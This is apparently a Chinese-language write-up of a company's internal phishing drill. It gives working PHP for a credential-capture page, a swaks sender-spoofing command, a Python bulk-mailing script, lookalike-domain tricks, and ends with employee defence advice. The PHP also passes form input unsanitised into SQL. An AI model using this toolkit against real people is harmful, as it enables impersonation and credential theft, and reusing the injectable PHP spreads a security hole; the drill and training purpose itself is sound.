记一次真实的邮件钓鱼演练
字数 994 2025-08-26 22:11:29
邮件钓鱼演练实战教学文档
一、演练背景与准备
- 演练目的:配合部门月度信息安全主题宣讲,进行真实的邮件钓鱼演练,测试员工安全意识
- 目标对象:公司全员
- 技术前提:确认公司Exchange服务器未开启SPF等反钓鱼策略(提高成功率)
二、钓鱼系统搭建
1. 钓鱼页面制作
方案选择:
- 完全克隆原系统(推荐使用setoolkit的site cloner功能)
- 简化制作(本案例选择):仅保留关键页面元素
本案例实现:
- 在修改密码页面增加域账号输入框
- 前端效果:模仿原系统登录界面
- 后端实现:仅记录用户名不记录密码
技术实现:
<?php
$con = mysql_connect("localhost","root","XXXX");
if (!$con) { die('Could not connect: ' . mysql_error()); }
mysql_select_db("test", $con);
$sql="INSERT INTO user(username)VALUES('$_POST[inputuser]')";
if (!mysql_query($sql,$con)) { die('Error: ' . mysql_error()); }
echo "<script> {window.alert('密码修改成功');window.open('http://xxx.com', '_top')} </script>";
mysql_close($con)
?>
2. 域名选择技巧
- 使用与真实域名相似的变体(如o→0,11→ll)
- 或使用域名短链接服务
三、钓鱼邮件发送
1. 发送工具选择
- 主要工具:swaks
- 基本命令格式:
swaks --tls --to xxx@qq.com --from administrator@xxx.com --ehlo qq.com --body hello --header "Subject: hello"
参数说明:
--from:伪造的发件人邮箱--ehlo:伪造的邮件ehlo头--body:邮件正文--header:邮件头信息
2. 批量发送实现
使用Python脚本实现自动化批量发送:
import time
import sys
import subprocess
file_c = '''
Subject: =?gb2312?B?xxxxxxxdLss6M=?=
Thread-Topic: =?gb2312?B?0/Lxxxxxxxxxss6M=?=
Thread-Index: AdT6eO/KxxxxxxxxxxxxxxxxIKA==
Date: {time.ctime()} +0800
Accept-Language: zh-CN, en-US
Content-Language: zh-CN
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
x-originating-ip: [x.x.x.x]
Content-Type:xxxxxxxxx;
Return-Path: administrator@xxx.com
xxx内容xxx
'''
file = open(f'/usr/local/src/{sys.argv[1]}', 'r')
names = file.readlines()
for name in names:
file_f = f'To: "{name.strip()}" <{name.strip()}>\n'
with open('/usr/local/src/file.txt', 'w') as f:
f.writelines(file_f + file_c)
status = subprocess.Popen(['swaks', '--tls', '--data', '/usr/local/src/file.txt', '--to', name.strip(), '--from', 'administrator@xxx.com'], stdout=subprocess.PIPE)
lg = status.stdout.readlines()
with open('/usr/local/src/log.txt', 'a+') as g:
for line in lg:
g.write(line.decode())
使用方式:
python mail.py sec.txt
3. 发送策略
- 每天随机发送150-200人(根据公司规模调整)
- 邮件内容要点:
- 使用真实链接+超链接到钓鱼系统
- 邮件头精心构造(包括Subject、Thread-Topic等)
四、演练结果与反馈
- 三天后统计:100+人中招(包括高级管理人员)
- 内部通报结果
- 未事前报备(增加真实性)
五、防御建议(员工教育要点)
三步骤防御法
-
一看:
- 检查发件人地址真实性
- 注意邮件正文异常(如措辞、格式等)
-
二查:
- 悬停检查邮件中的链接真实地址
- 对比与官方链接的差异
-
三核实:
- 通过官方渠道联系发件人核实
- 注意:发件人地址可伪造,不能仅凭地址判断
通用安全准则
- 不随意点击邮件链接
- 不下载可疑附件
- 发现可疑情况及时报告安全部门
六、技术要点总结
- SPF策略重要性:企业应配置SPF、DKIM、DMARC等邮件安全策略
- 钓鱼页面制作:保持与真实系统高度一致
- 邮件伪造技术:利用未受保护的邮件服务器发送伪造邮件
- 社会工程学:利用紧急/常规事务(如密码修改)提高成功率
附录:工具列表
- setoolkit - 网站克隆
- swaks - 邮件发送
- MySQL/PHP - 钓鱼页面后端
- Python - 批量发送脚本
注:本教学文档仅用于安全防御教育目的,禁止用于非法活动。